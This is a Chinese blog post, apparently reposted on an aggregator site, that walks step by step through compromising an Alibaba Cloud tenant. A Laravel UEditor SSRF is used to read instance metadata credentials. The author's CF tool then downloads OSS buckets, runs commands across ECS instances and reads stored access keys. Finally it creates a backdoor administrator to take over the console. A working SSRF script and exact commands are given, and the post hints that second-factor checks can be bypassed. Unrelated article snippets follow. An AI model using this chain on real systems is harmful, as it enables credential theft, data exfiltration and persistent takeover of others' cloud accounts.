【漏洞案例】云上攻防之云主机中web应用自身漏洞

news2024/12/24 20:34:19

0x00 前言

最近在做项目的时候,测到了一个部署在云上的存在 Laravel UEditor SSRF 漏洞的站点,并且发现这个 SSRF 漏洞可以读取到临时凭证,这不巧了,正好最近写了一个云环境利用的工具。

开始之前这里先简单介绍一下这个工具,CF 是这个工具的名字,通过它可以很方便的进行云上内网渗透,比如一键在所有实例上执行命令、一键接管控制台、一键列出云服务资源等等。

项目地址:GitHub - teamssix/cf: Cloud Exploitation Framework 云环境利用框架,方便安全人员在获得 AK 的后续工作

使用手册:CF 云环境利用框架使用手册 | T Wiki

十分建议在使用 CF 的时候,边使用边参考 CF 的使用手册,发现 CF 更多功能,那话不多说,下面咱们就开始吧。

0x01 打点,但,是云环境

一开始还是信息收集,首先通过指纹扫描发现在目标范围内的一个站点使用了 Laravel 框架,接着测试发现该站点存在 Laravel UEditor SSRF 漏洞。

这里的 SSRF 漏洞触发点在 UEditor 编辑器的上传图片功能中,下面我们尝试让服务器从 https://baidu.com?.jpg 获取图片。

然后我们读取返回的文件地址,通过返回的内容可以看到服务端确实访问到了 https://baidu.com?.jpg,说明这里确实存在 SSRF 漏洞。

通过查询该域名所属 IP,发现该站点位于云上,那么我们就可以利用这个 SSRF 漏洞去获取实例的元数据信息,但是这样每次获取数据都要手动发两个数据包就很麻烦,所以这里简单搞个脚本。

import sys
import requests

ssrf_url = sys.argv[1]
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.3100.0 Safari/537.36"}

req1 = requests.get("https://your_target.com/laravel-u-editor-server/server?action=catchimage&source[]=" + ssrf_url,headers=headers)
req2 = requests.get(req1.json()["list"][0]["url"],headers=headers)

print(req2.text)

通过查询该站点的 IP 得知该站点位于阿里云上,阿里云的元数据地址为 http://100.100.100.200/latest/meta-data,我们尝试获取一下。

可以看到成功获取到了元数据信息,并且值得注意的是,在元数据信息里还有 ram/目录,这就意味着这台实例存在临时访问凭证,也就是说存在被进一步利用的可能性。

我们一步步打开 ram/目录,在 http://100.100.100.200/latest/meta-data/ram/security-credentials/laravel-test-role 下找到了临时访问凭证。

不同于传统的打点,云环境的打点在我看来,除了传统打点的类型外,拿到云服务的 Access Key 也应该可以被称之为打点,那么在打到点后,接下来就可以开始内网横向了。

0x02 云上内网横向,也得细心呀

当我们拿到临时访问凭证后,首先要做的就是得知道这个凭证具备哪些权限。

我们先把凭证配置到 CF 里,CF 下载地址:Releases · teamssix/cf · GitHub

cf configure

查看当前凭证的权限

cf ls permissions

可以看到当前权限具有 OSS 的全部权限,并且可以使用 CF 的「列出 OSS 资源」以及「下载 OSS 资源」的功能。

这里先列出 OSS 资源看看

cf oss ls

可以看到在该凭证下有四个存储桶,一个是公开的,三个是私有的。

查看一下存储桶里有哪些文件

cf oss ls -b bucketName

利用 CF 下载文件,如果想下载全部对象,则不指定 -k参数即可。

cf oss get -b bucketName -k objectKey

大概翻了一下存储桶里的文件,在公有存储桶里大部分是图片,私有存储桶里有几十个压缩包文件和大量图片等等,这几百张图片里只发现了几张有敏感信息的图片,整体来说价值不大。

后来过了一会儿还是另外一位师傅在私有存储桶里一个个的翻文件,最后在几十个压缩包里终于找到了一个有高价值的配置文件,于是事情开始出现了转机,不得不说,还是得细心啊。

查看这个配置文件,发现在配置文件里写的是「OSS 相关配置信息」

但是当我们配置上这个 AK 后,发现这个 AK 还具有 ECS 的权限。

在后来拿下管理员权限后,我们发现这个用户被配置到了具备 ECS 权限的用户组里去了,所以这里才会有 ECS 的权限。

先用 CF 看一下有哪些 ECS 实例

cf ecs ls

使用 CF 一键获取临时访问凭证

cf ecs exec -m

发现只有一个实例可以获取到临时访问凭证,而且这个有临时访问凭证的实例就是上述存在 SSRF 漏洞的那台机器。

于是通过临时访问凭证横向的这条路就断了,那就继续在实例上信息收集吧,看看能不能找到什么有价值的信息,最后发现有一台实例安装了 aliyun cli 工具,并且配置过 AK,那么这样一来我们就可以通过查看 aliyun cli 工具的配置文件获取到这个 AK。

cf ecs exec -c "cat ~/.aliyun/config.json"

将 CF 配置上这个 AK,并查看权限

发现这个 AK 的权限要比之前的几个都要大,这个 AK 具有 AliyunRAMFullAccess权限,这也就意味着我们可以创建一个管理员后门用户,并通过该用户去接管控制台。

0x03 拿下云上管理员权限,相当于拿下“域控”?

使用 CF 一键接管控制台

cf console

在浏览器中,打开控制台登录地址,并输入用户名、密码进行登录。

在访问控制里,可以看到当前权限为AdministratorAccess,这也就意味着我们已经拿到了该租户的管理员权限。

在控制台中看看这个账号下的 OSS 对象存储服务

其他的 ECS、RDS 等等云服务也都是可以查看并操作的,这里就不再一一截图了,到这里为止,其实在我看来就相当于已经拿下了传统内网中的“域控”权限。

基本上这个云账号下的绝大部分操作都是可以执行的了,只不过在控制台下有些操作需要二次校验,但其实还是有办法绕过的,绕过的方法也很简单,相信你能猜到 ~

最后还有一些值得注意的地方,是需要了解的:

  1. 在 ECS 实例中执行一些高危命令,例如反弹 Shell 这类,可能会引发云盾告警。
  2. CF 接管控制台会创建一个后门用户,在使用完后,记得取消接管,使用 cf console cancel命令即可取消接管,后门用户也会随之删除。
  3. 为了充分表达云上内网横向的过程以及更加完整的展示 CF 的使用,文中少部分内容非真实发生且部分内容进行了省略。
  4. 出于保护目标但又想学习交流的目的,以上云上环境均为个人搭建,不代表目标的实际情况。

0x04 总结

记得以前大家一起做项目的时候,那个时候如果有人打点打到云上的主机时,就会在协作平台里标注一句「这个是云主机,不用花太多时间去深入」。

但随着企业业务的不断上云,打点打到云上主机的概率也在可感知的越来越大,似乎传统内网的奶酪正在不断变少,这时如果不去寻找新的奶酪(指云上内网横向),也许在不久的将来就会陷入两难的境地。

因此本文既是在介绍这个云环境利用框架 CF 工具,也是在描绘一种在新场景下的内网横向手法,这里的内网横向不仅仅是从这台机器到那台机器,而是从这个云服务到那个云服务,例如从 OSS 到 ECS 再到 RAM 等等,在这其中又包含了从这个机器到那台机器,例如多台 ECS 实例之间的内网横向。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/695149.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

(三)R-studio调度

1、准备测试脚本 from datetime import datetime print(111) print(datetime.now()) 2、设置定时调度 如果crontab没有安装,需要在root用户下安装,并启动,可参考:Ubuntu下crontab的安装和使用 (base) rstudio5abc0fae5cff:~/p…

JVM的OOM问题定位解决

1、生成dump文件(错误日志文件),MAT可以进行解读 (1)参数 -XX:HeapDumpOnOutOfMemoryErrorOOM时导出堆到文件。 -Xms1m -Xmx8m -XX:HeapDumpOnOutOfMemoryError(2)设置参数 -Xms1m -Xmx8m -…

【Python】 Windows上通过git bash执行python卡住的解决方法

解决方法 编辑 C:\Program Files\Git\etc\profile.d\aliases.sh,将python2.7改成python 编辑完成后,重启git bash, 输入python即可 参考 https://blog.csdn.net/ofreelander/article/details/112058975

Linux网络环境配置

第一种方式(自动获取): 说明:登陆后,通过界面的来设置自动获取IP 特点:Linux启动后会自动获取IP 缺点:是每次自动获取的IP地址可能不一样 第二种方法(指定IP): 1、说明…

kettle文件资源库之Show hidden folders

版本7.1 在创建文件资源库时&#xff0c;有一个选项“show hidden folders”。从字面上理解&#xff0c;是“显示隐藏文件夹”的意思&#xff0c;其实不然。 通过repositories.xml文件我们可以看到&#xff0c;其实这个选项在配置文件中对应的标签是&#xff1a;<hides_hi…

计算机视觉:3*3卷积核的优势

本文重点 如果你了解卷积神经网络,那么你一定会注意到大多数卷积神经网络模型经常使用3*3的卷积核,甚至是1*1的,而5*5的都少用,这是为什么呢?本文对3*3的卷积神经网络的好处进行总结。 参数量少 在卷积神经网络中,卷积核的大小决定了模型的参数量。3*3的卷积核比5*5…

leetcode 102. 二叉树的层序遍历

2023.6.28 二叉树的层序遍历&#xff0c;需要用到的数据结构是队列。有几个核心点&#xff1a; 初始化变量 size&#xff0c;用于记录每层节点的数量。不能直接用que.size()&#xff0c;因为队列的大小是会随时变化的。在内层while循环中&#xff0c;每次先将队头节点的值保存…

HDLbits--Bugs mux4

用二选一多路选择器创建4选一多路选择器 说先修改编译问题&#xff1a;mux0&#xff0c;mux1变量重复使用&#xff0c;并且位宽只有一位&#xff0c;修改后编译 结果&#xff1a; 可知&#xff1a;00-a&#xff0c;01-b,10-c,11-d 可知sel[0]区分a和b&#xff0c;c和d &…

vue2项目Vant组件Dialog 弹出框异步关闭的坑

vue2项目使用vant&#xff0c;我这边是全局引入的&#xff0c;引入插件官方文档中有&#xff0c;这边就不介绍了。 安装&#xff1a;Vant 2 - Mobile UI Components built on Vue 话不多说直接说坑&#xff0c;当时写这个的时候真的给我气到了~~~ 先看一下官方文档&#xff1…

VS2019 Python连接Sql server2008

安好后&#xff1a; 测试代码&#xff1a; import pymssqltry:conn pymssql.connect(host127.0.0.1,usersa,password123456,databasehotel,charsetutf8)# 连接并执行Sql语句cursor conn.cursor()sql select * from odercursor.execute(sql)# 获取数据集rs cursor.fetchal…

【UCOS-III】自我学习笔记→第37讲→内存管理实验

文章目录 前言实验步骤1.复制消息队列工程&#xff0c;并创建OS内存区句柄和内存地址&#xff0c;并删除task2\task3及其相关内容2.修改task1任务函数3.查看串口现象 测试代码工程文件总结 前言 无&#xff0c;仅作记录&#xff0c;不具有参考价值&#xff0c;所用开发板为STM…

记一次docker-compose的坎坷安装经历

最近公司在做一个kafka项目&#xff0c;所以想用docker来安装kafka集群&#xff0c;所以安装完docker后就准备安装docker-compose&#xff0c;但在安装过程中确碰到了各种问题&#xff0c;搞了两个半天再通过翻墙工具才终于搞定。 首先看了篇文章显示安装前要对应docker版本。 …

Spring Boot 中的 @Transactional 注解是什么,原理,如何使用

Spring Boot 中的 Transactional 注解是什么&#xff0c;原理&#xff0c;如何使用 简介 在 Spring Boot 中&#xff0c;Transactional 注解是非常重要的一个注解&#xff0c;用于实现数据库事务的管理。通过使用 Transactional 注解&#xff0c;我们可以很方便地对事务进行控…

用Docker部署Nginx

部署步骤&#xff1a; 1.拉取镜像 docker pull nginx 2.创建并进入容器 docker run -d --name nginx01 -p 3344:80 nginx #注意nginx01是起的名字&#xff0c;3344是公网访问的端口&#xff0c;80是Nginx的默认端口 3.启动Nginx curl localhost:3344 4.在我的windows系统访…

OAuth2:使用Gitee第三方授权

gitee OAuth2文档 1. 配置授权页url 传入client_id&#xff08;创建应用获得&#xff09;、redirect_uri&#xff08;需要通过第三方授权跳转的url&#xff09; https://gitee.com/oauth/authorize?client_id{client_id}&redirect_uri{redirect_uri}&response_type…

ACSNet分割模型搭建

原论文&#xff1a;Adaptive Context Selection for Polyp Segmentation源码&#xff1a;https://github.com/ReaFly/ACSNet. 直接步入正题~~~ 一、基础模块 class ConvBlock(nn.Module):def __init__(self, in_channels, out_channels, kernel_size, stride, padding):supe…

linux下卸载vmware

linux下卸载vmware 一、卸载二、vmware安装及使用 &emps;如果linux下安装了vmware系列产品&#xff0c;需要卸载或重装的&#xff0c;本文介绍了详细的卸载方法&#xff1a; 一、卸载 一般的发行版都不会带有vmware&#xff0c;所以通常是下载安装包来安装。这里主要说的就…

谷歌chrome浏览器所有历史版本下载及selenium自动化控制插件资源分享

使用python selenium做网页自动化开发的小伙伴经常需要用到google chrome浏览器以及chromedriver插件。 谷歌浏览器所有历史版本下载链接&#xff1a; chrome历史版本&#xff0c;点击下载 chromedriver插件下载地址&#xff1a;下载链接1&#xff1a;点击下载下载链接2…

一文了解python中pip的使用

目录 &#x1f352;pip的作用 &#x1f352;pip的使用 &#x1f352;运行python &#x1f353;1.终端运行 &#x1f353;2.运行python文件 &#x1f353;3.pycharm &#x1f352;IDE的概念 &#x1f990;博客主页&#xff1a;大虾好吃吗的博客 &#x1f990;专栏地址&#xff1…

scGen perturbation response prediction

如何利用scGen进行扰动响应预测 scGen是什么 scGen is a generative model to predict single-cell perturbation response across cell types, studies and species (Nature Methods, 2019). scGen is implemented using the scvi-tools framework. 文章传送门 Original tut…